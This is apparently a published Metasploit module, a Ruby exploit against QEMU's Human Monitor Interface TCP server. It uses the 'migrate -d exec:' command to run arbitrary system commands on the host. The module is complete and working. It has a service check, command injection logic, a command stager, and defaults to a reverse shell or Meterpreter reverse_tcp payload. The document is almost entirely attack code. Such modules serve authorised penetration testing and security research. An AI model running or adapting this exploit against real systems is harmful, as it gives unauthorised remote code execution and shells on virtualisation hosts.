This Metasploit module uses QEMU's Monitor Human Monitor Interface (HMP) TCP server to execute system commands using the migrate command. This module has been tested successfully on QEMU version 6.2.0 on Ubuntu 20.04.
e8ecc1c0c11599ea59c446e9c722572d##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => "QEMU Monitor HMP 'migrate' Command Execution",
'Description' => %q{
This module uses QEMU's Monitor Human Monitor Interface (HMP)
TCP server to execute system commands using the `migrate` command.
This module has been tested successfully on QEMU version 6.2.0
on Ubuntu 20.04.
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' => [
['URL', 'https://wiki.qemu.org/ToDo/HMP'],
['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],
['URL', 'https://www.qemu.org/docs/master/system/security.html'],
['URL', 'https://www.linux-kvm.org/page/Migration'],
],
'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'Platform' => %w[unix linux],
'Payload' => {
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d\x22",
'Space' => 1010
},
'Targets' => [
[
'Unix (Command)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_cmd
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Type' => :linux_dropper
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Privileged' => false,
'DisclosureDate' => '2011-12-02'
)
)
end
def read_until_prompt
::Timeout.timeout(10) do
loop do
res = sock.get_once
break if res.nil?
break if res.to_s.include?('(qemu)')
end
end
end
def check
connect
banner = sock.get_once.to_s
disconnect
unless banner.include?('QEMU') && banner.include?('monitor')
return CheckCode::Safe('Service is not QEMU monitor HMP.')
end
CheckCode::Appears('QEMU monitor HMP service is running.')
end
def execute_command(cmd, _opts = {})
cmd = cmd.gsub('\\', '\\\\\\')
vprint_status("Executing command: #{cmd}")
sock.put("migrate -d \"exec:#{cmd}\"\n")
read_until_prompt
end
def exploit
connect
read_until_prompt
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 1010, background: true)
end
ensure
disconnect unless sock.nil?
end
end